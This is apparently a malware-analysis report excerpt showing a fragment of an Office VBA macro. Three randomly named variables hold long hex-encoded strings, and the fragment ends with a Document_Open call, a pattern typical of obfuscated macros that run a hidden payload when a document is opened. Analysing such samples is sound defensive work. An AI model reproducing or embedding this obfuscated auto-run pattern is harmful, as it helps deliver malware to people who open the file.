Dim VQJ_MKG As String
VQJ_MKG = "8E6C8D5C8E5EC764A88E8EAC8E918E9582548E8E567D8E91945A8388C78EB89D938E74BC718E838E6DC08E8ECC8E578E726F8E8E74C0978E8E52938E8E6F8E5E8E8E8E8E5F64A0908E758E8EBE9B7B8EA38E8EBF6E7F8EA7B07FBB928E8E83BD7B6FC38E625AC18E8B8E718E546E8E679C8E8E8EBD8E6F8E8E6F8E7C8E8EA6917A8E8E8F8E838E8E"
Dim S_FXJ As String
S_FXJ = "CA8E8EA290C8A38E5159A18E8E8E8EAAA6A0C48E8E998E8EAF8E9B8E8E8E8E9BB3C18E8E8E798E968E8EC98E578E8A8E5C9B8E7F8E8EB38E8EB28E698E548E8E8EB58E8E958EAC8E52758B60B48EB58E76A88E8E4E5C8E8E9CC2C28E8E8E8E8B8E8EA5868EB58E848ECD778E8E9EB68E978E8E8E878E8E8EB08E8EA5788EC8AC8E8E8EB78E8C908E"
Dim F_DGR As String
F_DGR = "8E8EC3725B8E884F8E998E8ECD935B8E8E738E8EB48E8E5897A08EA7A8B38E8E648E738EC98EBA8EAC8E8E8E8E9D8E748E8E68B6A5A68E8E9B51CD8E9F8E8E8E7D9F8E8E828EBD8E778E5761798EB58E8EBF9A8E8E8E718EC9C66B8E978E8E9D54A16E8ECC8E8E8EB07D61C9898E8E8E538E9E7D8EBF7C55B98EBB8EBB8E8E5B8E8E8E5BC98E8E8A8E5E758E8E8E518E8EBC8E8EB18EBBC5BB8E735D8E8EC98E7C8E8E8E8E8DC18E8E"

    Document_Open
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.